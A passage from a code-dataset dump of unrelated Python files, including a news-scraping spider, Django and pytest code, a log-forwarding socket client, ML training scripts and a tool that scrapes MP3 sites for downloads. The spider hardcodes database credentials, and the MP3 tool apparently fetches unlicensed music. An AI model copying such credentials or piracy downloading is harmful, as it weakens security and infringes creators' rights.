datetime import datetime\nimport json\n\ndef time_font_5(past_time):\n #March 22, 2021\n day = past_time.split(' ')[1].strip(',')\n month = past_time.split(' ')[0]\n year = past_time.split(' ')[2]\n if month == 'January':\n month = '01'\n elif month == 'February':\n month = '02'\n elif month == 'March':\n month = '03'\n elif month == 'April':\n month = '04'\n elif month == 'May':\n month = '05'\n elif month == 'June':\n month = '06'\n elif month == 'July':\n month = '07'\n elif month == 'August':\n month = '08'\n elif month == 'September':\n month = '09'\n elif month == 'October':\n month = '10'\n elif month == 'November':\n month = '11'\n else:\n month = '12'\n return year + '-' + month + '-' + day + ' 00:00:00'\n\n#author 陈宣齐\nclass QiandaoribaoSpider(BaseSpider):\n name = 'qiandaoribao'\n website_id = 12 # 网站的id(必填)\n language_id = 1813 # 所用语言的id\n allowed_domains = ['qiandaoribao.com']\n start_urls = ['http://qiandaoribao.com/']\n sql = { # sql配置\n 'host': '192.168.235.162',\n 'user': 'dg_admin',\n 'password': 'dg_admin',\n 'db': 'dg_crawler'\n }\n\n # 这是类初始化函数,用来传时间戳参数\n \n \n \n\n def parse(self, response):\n soup = BeautifulSoup(response.text, 'lxml')\n for i in soup.find('div', class_='jeg_nav_item jeg_mainmenu_wrap').find('ul',class_='jeg_menu jeg_main_menu jeg_menu_style_5').find_all('li')[1:]:\n yield Request(url=i.find('a').get('href'),callback=self.parse_2,meta={'category1':i.find('a').text})\n\n def parse_2(self,response):\n page_soup = BeautifulSoup(response.text, 'lxml')\n img = ''\n abstart = ''\n last_time = ''\n if page_soup.find('div', class_='jeg_posts jeg_load_more_flag') is not None:\n for i in page_soup.find('div', class_='jeg_posts jeg_load_more_flag').find_all('article'):\n if i.find('img') is not None:\n img = i.find('img').get('data-src')\n url = i.find('a').get('href')\n title = i.find('h3', class_='jeg_post_title').text.strip('\\n')\n pub_time = time_font_5(i.find('div', class_='jeg_meta_date').text.strip('\\n').strip(' '))\n last_time = pub_time\n if i.find('div', class_='jeg_post_excerpt') is not None:\n abstart = i.find('div', class_='jeg_post_excerpt').text.strip('\\n')\n yield Request(url=url,callback=self.parse_3,meta={'title':title,'img':img,'pub_time':pub_time,'abstart':abstart,'category1':response.meta['category1']})\n if page_soup.find('div',class_='jeg_navigation jeg_pagination jeg_pagenav_1 jeg_aligncenter no_navtext no_pageinfo') is not None:\n if self.time == None or Util.format_time3(last_time) >= int(self.time):\n next_page = page_soup.find('div',class_='jeg_navigation jeg_pagination jeg_pagenav_1 jeg_aligncenter no_navtext no_pageinfo').find('a',class_='page_nav next').get('href')\n yield Request(url=next_page,callback=self.parse_2,meta={'category1':response.meta['category1']})\n else:\n self.logger.info(\"时间截止\")\n\n def parse_3(self,response):\n item = NewsItem()\n new_soup = BeautifulSoup(response.text, 'lxml')\n item['pub_time'] = response.meta['pub_time']\n item['title'] = response.meta['title']\n item['images'] = [response.meta['img']]\n item['body'] = ''\n for i in new_soup.find('div', class_='content-inner').find_all('p'):\n item['body'] += i.text\n if response.meta['abstart'] == '':\n item['abstract'] = item['body'].split('。')[0]\n else:\n item['abstract'] = response.meta['abstart']\n item['category1'] = response.meta['category1']\n item['category2'] = ''\n yield item","sub_path":"crawler/v1/qiandaoribao.py","file_name":"qiandaoribao.py","file_ext":"py","file_size_in_byte":4247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"235256519","text":"from django.core.management.base import BaseCommand\n\nfrom gnosis.eth import EthereumClientProvider\n\nfrom ...models import Contract\n\n\nclass Command(BaseCommand):\n help = 'Sync contract names/ABIS scraping from etherscan/sourcify'\n\n def add_arguments(self, parser):\n parser.add_argument('--all', help=\"Sync contract names/ABIS for contracts already synced\", action='store_true',\n default=False)\n\n def handle(self, *args, **options):\n every_contract = options['all']\n\n ethereum_client = EthereumClientProvider()\n network = ethereum_client.get_network()\n\n contract_queryset = Contract.objects.all()\n if not every_contract:\n contract_queryset = contract_queryset.filter(contract_abi=None)\n\n for contract in contract_queryset:\n if contract.sync_abi_from_api(network=network):\n self.stdout.write(self.style.SUCCESS(f'Synced contract {contract.address} - {contract.name}'))\n","sub_path":"safe_transaction_service/contracts/management/commands/sync_contract_abis.py","file_name":"sync_contract_abis.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"108818661","text":"#!/usr/bin/env python3\n\nfrom datetime import datetime, timedelta\nfrom threading import Timer\nimport socket\nimport sys\nimport time\n\nx=datetime.today()\ns = socket.socket()\ns.connect((\"172.16.19.11\", 8006)) \nSIZE = 10000000\n\ntry:\n\twhile True:\n\t\tdate = x.strftime(\"%Y%m%d\")\n\t\twith open(\"N1_log\"+date+\".txt\", \"rb\") as file:\n\t\t\tSendData = file.read(SIZE)\n\n\t\t\twhile SendData:\n\t\t\t\ts.sendall(SendData)\n\t\t\t\tSendData = file.read(SIZE) \n\t\t\n\t\ttime.sleep(30)\nfinally:\n\ts.close()","sub_path":"client-send-log.py","file_name":"client-send-log.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"462820223","text":"#!coding:utf-8\n\nfrom functools import lru_cache\n\n\nclass Solution:\n \"\"\"\n 思路与算法\n\n 任何一个括号序列都一定是由 ( 开头,并且第一个 ( 一定有一个唯一与之对应的 )。这样一来,每一个括号序列可以用 (a)b 来表示,其中 a 与 b 分别是一个合法的括号序列(可以为空)。\n\n 那么,要生成所有长度为 2 * n 的括号序列,我们定义一个函数 generate(n) 来返回所有可能的括号序列。那么在函数 generate(n) 的过程中:\n\n 我们需要枚举与第一个 ( 对应的 ) 的位置 2 * i + 1;\n 递归调用 generate(i) 即可计算 a 的所有可能性;\n 递归调用 generate(n - i - 1) 即可计算 b 的所有可能性;\n 遍历 a 与 b 的所有可能性并拼接,即可得到所有长度为 2 * n 的括号序列。\n 为了节省计算时间,我们在每次 generate(i) 函数返回之前,把返回值存储起来,下次再调用 generate(i) 时可以直接返回,不需要再递归计算。\n\n \"\"\"\n\n def generate(self, left, right, n, res):\n \"\"\"\n\n :param left:\n :param right:\n :param n: 配额总数\n :param res:\n :return:\n \"\"\"\n # 终止条件 左括号n 右括号n\n if left == right == n:\n # print(res)\n self.res_lst.append(res)\n return res\n\n # 处理逻辑\n if left < n:\n # 下探下一层\n self.generate(left+1, right, n, res + \"(\")\n\n # 右括号必须在左括号后面 左括号的个数 > 当前右括号的个数\n # left 上限最多到n\n if left > right:\n # 下探下一层\n self.generate(left, right+1, n, res + \")\")\n\n # 清理操作\n\n def generateParenthesis(self, n):\n \"\"\"\n\n :param n:\n :return:\n \"\"\"\n self.res_lst = list()\n self.generate(left=0, right=0, n=n, res=\"\")\n return self.res_lst\n\n\nif __name__ == \"__main__\":\n n=3\n print(Solution().generateParenthesis(n))\n\n","sub_path":"Week_03/22_括号生成.py","file_name":"22_括号生成.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"300635773","text":"#MADE BY @GODBOYX AND @AmanPandeyDeveloperIN\n#MADE FOR Extre USERBOT ONLY\n#KANG WITH CREDITS OTHERWISE YOU WILL See What We can Do \nfrom Extre.utils import admin_cmd\nfrom .. import CMD_HELP\nimport os\nfrom PIL import Image, ImageDraw, ImageFont\n\n@borg.on(admin_cmd(pattern=\"^/logo ?(.*)\"))\nasync def logo(event):\n await event.reply('Drawing Text On Pic.Wait!')\n try:\n text = event.pattern_match.group(1)\n img = Image.open('./Extre/resources/photo_2021-03-18_10-37-51.jpg')\n draw = ImageDraw.Draw(img)\n image_widthz, image_heightz = img.size\n pointsize = 500\n fillcolor = \"red\"\n shadowcolor = \"blue\"\n font = ImageFont.truetype(\"./Extre/resources/Vampire_Wars.otf\", 160)\n w, h = draw.textsize(text, font=font)\n h += int(h*0.21)\n image_width, image_height = img.size\n draw.text(((image_widthz-w)/2, (image_heightz-h)/2), text, font=font, fill=(255, 255, 255))\n x = (image_widthz-w)/2\n y= ((image_heightz-h)/2+6)\n draw.text((x, y), text, font=font, fill=\"black\", stroke_width=15, stroke_fill=\"yellow\")\n fname2 = \"LogoByDynamic.png\"\n img.save(fname2, \"png\")\n await bot.send_file(event.chat_id, fname2, caption=\"Made By Extre\")\n if os.path.exists(fname2):\n os.remove(fname2)\n except Exception as e:\n await event.reply(f'Error Report @ExtreUSERBOTSUPPORT {e}')\n\nfile_help = os.path.basename(__file__)\nfile_help = file_help.replace(\".py\", \"\")\nfile_helpo = file_help.replace(\"_\", \" \")\n\n__help__ = \"\"\"\n In Beta!.\n - .logo \n\n\"\"\"\n\nCMD_HELP.update({file_helpo: [file_helpo, __help__]})\n","sub_path":"logo.py","file_name":"logo.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"398072661","text":"import json\nimport os\nos.environ['DJANGO_SETTINGS_MODULE'] = 'console.settings'\n\nimport django\ndjango.setup()\n\nfrom django.test import RequestFactory\n\n\nfrom django.contrib.sessions.middleware import SessionMiddleware\nfrom services import uam\n\ndef test_get_success():\n response = uam.get_success(\"test message\", {})\n assert response['msg'] == \"test message\"\n assert response[\"sess_id\"] == \"FAKE_SESSION\"\n\n\ndef test_auth_user():\n request_factory = RequestFactory()\n middleware = SessionMiddleware()\n request = request_factory.post('/api/auth', json.dumps({\"email\": 'abc_se', \"password\": \"1234\"}),\n content_type='application/json')\n middleware.process_request(request)\n response = uam.auth_user(request)\n assert response[\"status\"] == \"failure\"\n","sub_path":"test/test_uam.py","file_name":"test_uam.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"425140223","text":"import pytest\nimport yaml\n\nfrom python1.calc import Calc\n\ndef steps():\n with open(\"../datas/steps.yaml\") as f:\n return yaml.safe_load(f)\n\nclass Test_Calc:\n def setup(self):\n self.calc=Calc()\n # def test_add(self):\n # result = self.calc.add(1,2)\n # print(result)\n # assert 3 == result\n @pytest.mark.parametrize('data1,data2,expect',\n yaml.safe_load(open('../datas/b.yaml')))\n def test_add_1(self,data1,data2,expect):\n\n steps1 = steps()\n\n for step in steps1:\n print(f\"step ==== >{step}\")\n if 'add' == step:\n result = self.calc.add(data1,data2)\n elif 'add1' == step:\n result = self.calc.add1(data1,data2)\n print(result)\n assert expect == result\n\n # result = self.calc.add(data1,data2)\n # print(result)\n # assert expect == result","sub_path":"testing/test_pytest.py","file_name":"test_pytest.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"383998829","text":"#Alex Lux\n# Week 4 Lab #1\n\nsalary = 0.01 # starting salary\ni = 0 # initialize i\nNumDays = int(input(\"Enter the number of days to calculate your earnings through those days:\")) # user inputed days\nwhile NumDays < 0 or NumDays > 64: # conditional loop\n print('ERROR: incorrect input, only values 1-64.')\n NumDays = int(input('Enter the correct number of days:'))\nwhile i < NumDays: # while loop\n print (\"Day\",i + 1,\"your salary is: $\",salary)\n salary = salary * 2 # double salary\n i = i + 1 # increments the counter i\nTotalSalary = salary # calculates total \nprint (\"Your total salary at the end of the period is: $\",TotalSalary)\n","sub_path":"Pyhton Fall 2018/Week 4 Lab 1.py","file_name":"Week 4 Lab 1.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"570261517","text":"def interface():\n\n '''Initiates widgets'''\n\n from ipywidgets import interact, interactive, fixed, interact_manual, HBox, VBox, Label\n import ipywidgets as widgets\n import numpy as np\n from demo import demo\n from read_file import read_file\n\n t, C, T = read_file('/Users/antonvasilev/GitHub/ilt/data/beta/EUNB29b_1-16-2_15_2.DLTS')\n\n cut = len(T) - 1\n Index = widgets.IntSlider(\n value=1,\n min=0, # max exponent of base\n max=cut, # min exponent of base\n step=1, # exponent step\n description='')\n\n Methods = widgets.SelectMultiple(\n options = ['L1', 'L2', 'L1+L2', 'Contin'],\n value = ['Contin'],\n #rows = 10,\n description = 'Methods:',\n disabled = False)\n\n Nz = widgets.IntText(\n value=100,\n description=r'$N_f=$',\n disabled=False)\n\n Reg_L1 = widgets.FloatLogSlider(\n value=0.1,\n base=10,\n min=-5, # max exponent of base\n max=0.5, # min exponent of base\n step=0.2, # exponent step\n description=r'L1: $\\lambda_1$')\n\n Reg_L2 = widgets.FloatLogSlider(\n value=1E-3,\n base=10,\n min=-12, # max exponent of base\n max=-2, # min exponent of base\n step=0.2, # exponent step\n description=r'L2: $\\lambda_2$')\n\n Bounds = widgets.IntRangeSlider(\n value=[-3, 2],\n min=-4,\n max=4,\n step=1,\n description=r'$10^{a}\\div 10^{b}$:',\n disabled=False,\n continuous_update=False,\n orientation='horizontal',\n readout=True,\n readout_format='d')\n\n\n Plot = widgets.Checkbox(\n value = True,\n description = 'Plot?',\n disabled = False)\n\n Residuals = widgets.ToggleButton(\n value=False,\n description='Plot L-curve',\n disabled=False,\n button_style='info', # 'success', 'info', 'warning', 'danger' or ''\n tooltip='Plots L-curve to choose best value of regularization parameter of L2 reg. method',\n icon='plus')\n\n Heatplot = widgets.ToggleButton(\n value=False,\n description='Plot heatplot',\n disabled=False,\n button_style='warning', # 'success', 'info', 'warning', 'danger' or ''\n tooltip='Plots heatmap of data from choosed file',\n icon='plus')\n\n\n left_box = VBox([Methods])\n centre_box = VBox([Nz, Reg_L1, Reg_L2, Bounds])\n right_box = VBox([Plot, Residuals, Heatplot])\n ui = widgets.HBox([left_box, centre_box, right_box])\n Slider = widgets.HBox([Label('Transient №'),Index])\n out = widgets.interactive_output(demo, {'Index':Index,\n 'Nz':Nz, 'Reg_L1':Reg_L1, 'Reg_L2':Reg_L2,\n 'Bounds':Bounds, 'Methods':Methods,\n 'Plot':Plot, 'Residuals':Residuals,\n 'Heatplot': Heatplot})\n display(ui, Slider, out)\n","sub_path":"functions/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":2966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"413525010","text":"import functools\nimport time\n\nfrom .exceptions import DomainException\n\n\ndef retry(exceptions, times=3):\n \"\"\"\n Retries the function call N times when target exceptions occur.\n \"\"\"\n max_time = 3 # max time sleep (is seconds)\n\n def wrapped(func):\n\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n err = None\n sleep_time = 0\n for _ in range(times):\n try:\n return func(*args, **kwargs)\n except exceptions as error:\n err = error\n sleep_time += 1\n time.sleep(min(sleep_time, max_time))\n else:\n raise DomainException('Service is busy. Try later.') from err\n\n return wrapper\n\n return wrapped\n","sub_path":"apps/utils/functools.py","file_name":"functools.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"41126763","text":"import math\ndef mod(x, y):\n return x - y * math.trunc(x / y)\n\n\n\"\"\"Ce test permet de vérifier si les différents backends pour les langages implémentent bien\nread int, read char et skip\"\"\"\nlen = int(input())\nprint(\"%d=len\\n\" % len, end='')\ntab = list(map(int, input().split()))\nfor i in range(0, len):\n print(\"%d=>%d \" % (i, tab[i]), end='')\nprint(\"\\n\", end='')\ntab2 = list(map(int, input().split()))\nfor i_ in range(0, len):\n print(\"%d==>%d \" % (i_, tab2[i_]), end='')\nstrlen = int(input())\nprint(\"%d=strlen\\n\" % strlen, end='')\ntab4 = list(input())\nfor i3 in range(0, strlen):\n tmpc = tab4[i3]\n c = ord(tmpc)\n print(\"%c:%d \" % (tmpc, c), end='')\n if tmpc != ' ':\n c = mod(c - ord('a') + 13, 26) + ord('a')\n tab4[i3] = c\nfor j in range(0, strlen):\n print(\"%c\" % tab4[j], end='')\n\n","sub_path":"out/aaa_read2.py","file_name":"aaa_read2.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"25765752","text":"# this file is still in progress #WIP\n\n\"\"\"\nThe module frontend is part of RoboProject by Pyladies Brno.\n\nKey library is pyglet Python library https://bitbucket.org/pyglet/pyglet/wiki/Home\nThis module imports the backend module and is imported in game module.\n\nThe frontend module\n - creates a Pyglet window for drawing\n - loads pyglet sprites\n - draws images to display the game board\n\"\"\"\n\nimport pyglet\nimport backend\n\n\ndef init_window(WINDOW_WIDTH, WINDOW_HEIGHT):\n \"\"\"\n creates a pyglet window for graphic output\n\n is called in the game module and uses arguments\n WINDOW_WIDTH and WINDOW_HEIGHT from the game module\n \"\"\"\n window = pyglet.window.Window(WINDOW_WIDTH, WINDOW_HEIGHT)\n return window\n\n\ndef load_images(data, state, TILE_WIDTH, TILE_HEIGHT):\n \"\"\"\n makes a list of images\n\n calls backends' get_real_ids function (returning a dictionary of IDs)\n creates empty list of images and fills it with data from JSON\n (including layers, coordinates, rotation)\n \"\"\"\n real_images = backend.get_real_ids(data)\n images = []\n\n #filling the empty list of images\n for layer in state:\n # state is distioary created in backends function get_coordiante_dict\n# !!!!!!!!!!!!!!!!!!! tuhle cast asi jeste rozsirit !!!!!!!!!!!!!!!!\n for key, value in state[layer].items():\n coordinate = value.id\n rotation = value.rotation\n if coordinate in real_images:\n img = pyglet.image.load(real_images[coordinate])\n img.anchor_x = img.width//2\n img.anchor_y = img.height//2\n x, y = key\n tile_x = x*TILE_WIDTH\n tile_y = y*TILE_HEIGHT\n img = pyglet.sprite.Sprite(img, x=img.anchor_x+tile_x, y=img.anchor_y+tile_y)\n img.rotation = rotation\n images.append(img)\n return images\n\n\ndef draw_board(state, images):\n \"\"\"\n draws the game map\n \"\"\"\n for tile in images:\n tile.draw()\n\n\n# WIP\n","sub_path":"frontend.py","file_name":"frontend.py","file_ext":"py","file_size_in_byte":2019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"433305166","text":"import tensorflow as tf\nimport numpy as np\nfrom setting import *\nfrom TFWorker import CTFWorker\n\n# Configuration of cluster \ncluster = tf.train.ClusterSpec({\"ps\": g_ps_hosts,\"worker\": g_worker_hosts})\n\ntf.app.flags.DEFINE_integer(\"task_index\", 0, \"Index of task within the job\")\nFLAGS = tf.app.flags.FLAGS\n\nclass CTFDistribute:\n\n def __init__(self,task_index,worker):\n self.m_task_index = task_index\n self.m_worker = worker\n\n def Define_Graph(self):\n self.m_worker.GetWorkerBase().Begin_Graph()\n self.m_worker.Define_Tensor()\n self.m_worker.Define_Operate()\n self.m_worker.GetWorkerBase().Finish_Graph()\n\n def PreTrain(self,mon_sess):\n self.m_worker.GetWorkerBase().PreTrain(mon_sess)\n\n def Train(self,mon_sess):\n self.m_worker.Train(mon_sess)\n self.m_worker.GetWorkerBase().Train(mon_sess)\n\n def Run(self):\n\n with tf.device(tf.train.replica_device_setter(worker_device=\"/job:worker/task:%d\" % self.m_task_index,cluster=cluster)):\n self.Define_Graph()\n hooks = [tf.train.StopAtStepHook(last_step=1000000)]\n with tf.train.MonitoredTrainingSession(master=\"grpc://\" + g_worker_hosts[self.m_task_index],\n is_chief=(self.m_task_index==0),\n checkpoint_dir=\"/tmp/tf_train_logs\",\n save_checkpoint_secs=None,\n hooks=hooks) as mon_sess:\n while not mon_sess.should_stop():\n self.Train(mon_sess)\n\ndef main():\n\n worker = CTFWorker(tf)\n distribute = CTFDistribute(FLAGS.task_index,worker)\n distribute.Run()\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"distribute/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"151987733","text":"#%%\nimport numpy as np\nfrom os.path import join\nimport cv2\nfrom keras.preprocessing.image import ImageDataGenerator\n\n#%%\n\nROOT_DIR = '.'\nSRC_DIR = ROOT_DIR\n\n#%%\n\ntrainData = np.load(join(SRC_DIR, 'train_data.npy'))\n\n#%%\n\ndatagen = ImageDataGenerator(\n rotation_range=45,\n width_shift_range=0.2,\n height_shift_range=0.2,\n zoom_range=0.5,\n shear_range=25\n)\n\n#%%\n\naugmented_image_data = []\naugmented_label_data = []\n\nfor index, data in enumerate(trainData):\n print(index)\n aug_iter = datagen.flow(np.array([data[0]]))\n for i in range(100):\n # generate augumented image\n aug_image = next(aug_iter)[0].astype(np.uint8)\n augmented_image_data.append(aug_image/255.)\n \n for i, sigma in enumerate(np.random.normal(25, 10, 30)):\n aug_image = next(aug_iter)[0].astype(np.uint8)\n noisy_img = cv2.GaussianBlur(aug_image, ksize = (3,3), sigmaX = sigma, sigmaY = sigma)\n augmented_image_data.append(noisy_img.reshape((64,64,1))/255.)\n\n augmented_label_data.extend([data[1:],] * 130)\n#%%\n\nnp.save('augmented_image_data.npy', augmented_image_data)\nnp.save('augmented_label_data.npy', augmented_label_data)\n","sub_path":"src/data_augumentation.py","file_name":"data_augumentation.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"75844939","text":"import os\nimport requests\nimport pandas as pd\n\n\ndef call_semantic_similarity(input_file, url):\n file_name = os.path.basename(input_file)\n\n files = {\n 'file': (file_name, open(input_file, mode='rb'), 'application/octet-stream')\n }\n resp = requests.post(url, files=files)\n\n s = resp.json()\n\n return pd.DataFrame(s)\n\n\nurl = 'https://dsbox02.isi.edu:8888/qnode-similarity'\ndf = call_semantic_similarity('./test_file.tsv', url)\ndf.to_csv('test_file_similarity.tsv', index=False, sep='\\t')\n","sub_path":"call_semantic_similarity.py","file_name":"call_semantic_similarity.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"518597577","text":"from node import *\nclass QueueUsingLinkedList:\n def __init__(self):\n self.head = None\n \n def enque(self,data):\n new_node = Node(data)\n if self.head == None:\n self.head = new_node\n else:\n new_node.next = self.head\n self.head = new_node\n \n def dequeue(self):\n if self.head == None:\n print('Queue is empty')\n else:\n temp = self.head\n previous = None\n while temp.next != None:\n previous,temp = temp,temp.next\n data = temp.data\n previous.next = None\n return data\n \n def display(self):\n if self.head == None:\n print('Queue is empty')\n else:\n temp = self.head\n while temp != None:\n print(temp.data,end=\" \")\n temp = temp.next\n \n def size(self):\n temp = self.head\n count = 0\n if self.head == None:\n return 0\n while temp.next != None:\n count += 1\n temp = temp.next\n return count\n ","sub_path":"Python-oops/OOP/queueUsingLL.py","file_name":"queueUsingLL.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"234376473","text":"#!/usr/bin/python\n\nVERSION = \"0.91\"\nVERDATE = \"03/02/2015\"\n\n'''------------------------------------------------------------------------------------\nmusic.py\n\nMULTI-WEBSITE MP3 SEARCH AND DOWNLOAD TOOL\n\n\tVERSION: \t0.9\n\t AUTHOR: \tEDUARDO BEATTIE\n\tWRITTEN:\t19/01/2015 V0.10 - Development begun\n\t\t\t\t28/01/2015 V0.90 - Core completed\n\t\t\t\t03/02/2015 V0.91 - mp3juices implementation completed\n\t\nBy using a variety of web-based mp3 search tools, finds and downloads \na high quality mp3 file corresponding to a search string, storing it to a \npredefined save location.\n------------------------------------------------------------------------------------'''\n\n\n'''\nCLASS AND FUNCTION DEFINITIONS\n'''\n\n\n#define a class to store search results in a more structured manner\nclass searchResult:\n\tdef __init__(self, t, u, so, l = None, si = None):\n\t\tself.title = t\n\t\tself.url = u\n\t\tself.source = so\n\t\tself.length = l\n\t\tself.size = si\n\t\t\n\tdef printResult(self):\n\t\tprint((self.length + b\" | \" + self.size + b\" | \" + self.title + b\" | \" + self.source + b\" | \" + self.url))\n\n\t\t\n#Updates filesize, in case the search sites report an erroneous result\ndef sizeUpdate(result):\n\ttry:\n\t\tif result.source != \"mp3juices\":\n\t\t\tr = requests.head(result.url)\n\t\t\tif \"Content-length\" in r.headers:\n\t\t\t\ts = int(r.headers[\"Content-length\"])/2**20\n\t\t\t\tif s > 0.05:\n\t\t\t\t\tresult.size = (\"%.2f\" % s) + \" MB\"\n\t\t\t\telse:\n\t\t\t\t\tresult.size = \"0\"\n\t\t\telse:\n\t\t\t\tresult.size = \"0\"\n\t\t\t\t\n\t\telse:\n\t\t\tresult.size = \"- \"\n\texcept:\n\t\tresult.size = \"0\"\n\t\t\n\treturn result\n\t\t\n\t\t\n#Runs asynchronously, making the extra requests to beemp3 required to find the download address and file size\ndef beemp3Update(result):\n\ttry:\n\t\tif result.source == \"beemp3\":\n\t\t\tr = requests.get(result.url)\n\t\t\turlTrim = r.text[r.text.find(\"\")]).headers[\"Location\"]\n\t\t\tresult.size = r.text[r.text.find(\"Filesize:\")+52:\n\t\t\t\t\t\t\t\t r.text.find(\"Filesize:\")+60].replace(\"<\", \"\").replace(\">\", \"\").replace(\"/\", \"\")\n\t\t\treturn result\n\t\t\t\n\t\telse:\n\t\t\tprint(\"Warning: beemp3Update function called on a result that wasn't from beemp3.\")\n\texcept:\n\t\tprint(\"Warning: Bogus beemp3 result.\")\n\n\t\t\n#Downloads a file to a specified directory, displaying a progress bar in the process\ndef downloadFile(dir, url):\n\tlocal_filename = dir.split('/')[-1]\n\t\n\tr = requests.get(url, stream=True)\n\tif \"Content-length\" in r.headers:\n\t\tsize = int(int(r.headers[\"Content-length\"]) / 1024)\n\t\tunknownSize = False\n\telse:\n\t\tsize = \"-\"\n\t\tunknownSize = True\n\tif size == 0:\n\t\treturn 1\n\t\n\tf = open(dir, 'wb')\n\t\n\tn = 0\n\t\n\tprint(\"\\nDownloading \" + local_filename[:60] + \"...\")\n\t\n\tfor chunk in r.iter_content(chunk_size=128 * 1024):\n\t\tif chunk: # filter out keep-alive new chunks\n\t\t\n\t\t\tn = n+128\n\t\t\t\n\t\t\t\n\t\t\tif not unknownSize:\n\t\t\t\tif n > size:\n\t\t\t\t\tn = size\n\t\t\t\t\n\t\t\t\ts1 = str(n).rjust(5) + \" kb of \" + str(size).rjust(5) + \" kb (\" + str(int((n/size)*100+0.5)).rjust(2) + \"%) done. \"\n\t\t\t\ts2 = \"║\" + \"█\"*int((n/size)*41) + \" \"*(40-int((n/size)*41)) + \"║\"\n\t\t\t\tsys.stdout.write(s1 + s2 + \"\\r\")\n\t\t\t\tsys.stdout.flush()\n\t\t\t\tf.write(chunk)\n\t\t\t\tf.flush()\n\t\t\telse:\n\t\t\t\tsys.stdout.write(str(n).rjust(5) + \" kb downloaded of unknown total filesize.\\r\")\n\t\t\t\tsys.stdout.flush()\n\t\t\t\tf.write(chunk)\n\t\t\t\tf.flush()\n\t\t\t\t\n\t\n\t#add a line break\n\tprint(\"\\nFile downloaded successfully.\\n\")\n\tf.close()\n\treturn 0\n\t\n\t\n'''\nCONSTANT AND VARIABLE DEFINITIONS AND IMPORTS\n'''\n\n\nUSE_MP3SKULL = True\nUSE_BEEMP3 = True\nUSE_MP3JUICES = True\n\nRESULTS_PER_PAGE = 20\n\nSAVE_DIRECTORY = \"C:/Users/Eduardo/Dropbox/musica compartida/SIN PN/\"\n\n\nRENAME_FILE = True\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#NEED TO IMPLEMENT\n\nCONFIRM_SIZE = True\n\n\n#import os\nimport sys\nimport time\nimport requests\nfrom multiprocessing import Pool\nfrom decimal import *\n\n#set console size (to make sure table prints out correctly)\n#os.system(\"mode con: cols=80 lines=300\") \n\n\n\n'''\nMAIN PROGRAM START\n'''\n\n\n#Avoids processes other than the main process from running this code\nif __name__ == '__main__':\n\n\tprint(\"BT MUSIC DOWNLOADER - A MULTI-WEBSITE MP3 SEARCH AND DOWNLOAD TOOL\")\n\tprint(\"Written by your friendly local programmer.\\n\")\n\tprint(\"Version: \" + VERSION + \", \" + VERDATE + \"\\n\\n\")\n\n\n\t#Get a search id for mp3skull (MP3SKULL_FCKH)\n\tif USE_MP3SKULL:\n\t\tr = requests.get(\"http://mp3skull.com/\")\n\t\tp = r.text.find(\"\")+22:section.find(\"\")+62]\n\t\t\t\t\t\n\t\t\t\t\ttitle = section[section.find(\"\")+3:section.find(\"\")]\n\t\t\t\t\t\n\t\t\t\t\tfor word in ignoreStrings:\n\t\t\t\t\t\tif title.lower().find(word.lower()) != -1:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\turl = section[section.find(\"\", \"\").replace(\"/\", \"\")\n\t\t\t\t\t\t\n\t\t\t\t\t\tif ps != -1:\n\t\t\t\t\t\t\tsize = metadataTrim[ps-6:ps+2].replace(\"<\", \"\").replace(\">\", \"\").replace(\"/\", \"\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tsize = \"- \"\n\t\t\t\t\t\t\n\t\t\t\t\t\tresults.append(searchResult(title, url, \"mp3skull\", length, size))\n\t\t\t\t\t\tvalidCounter += 1\n\t\t\t\t\n\t\t\t\t\n\t\t#beemp3 code\n\t\tif USE_BEEMP3:\n\t\t\tprint(\"Retrieving results from beemp3...\")\n\t\t\ts = searchString.replace(\" \", \"+\")\n\t\t\tr = requests.get(\"http://beemp3s.org/index.php?q=\" + s + \"&fl=tc256\")\n\t\t\tt = r.text.encode('cp850','replace').decode('cp850')\n\t\t\tvalidCounter = 0\n\t\t\tn = 0\n\t\t\twhile validCounter < RESULTS_PER_PAGE and n < 24:\n\t\t\t\tn += 1\n\t\t\t\tt = t[t.find(\"
  • \") + 58:]\n\t\t\t\tp2 = t.find(\"
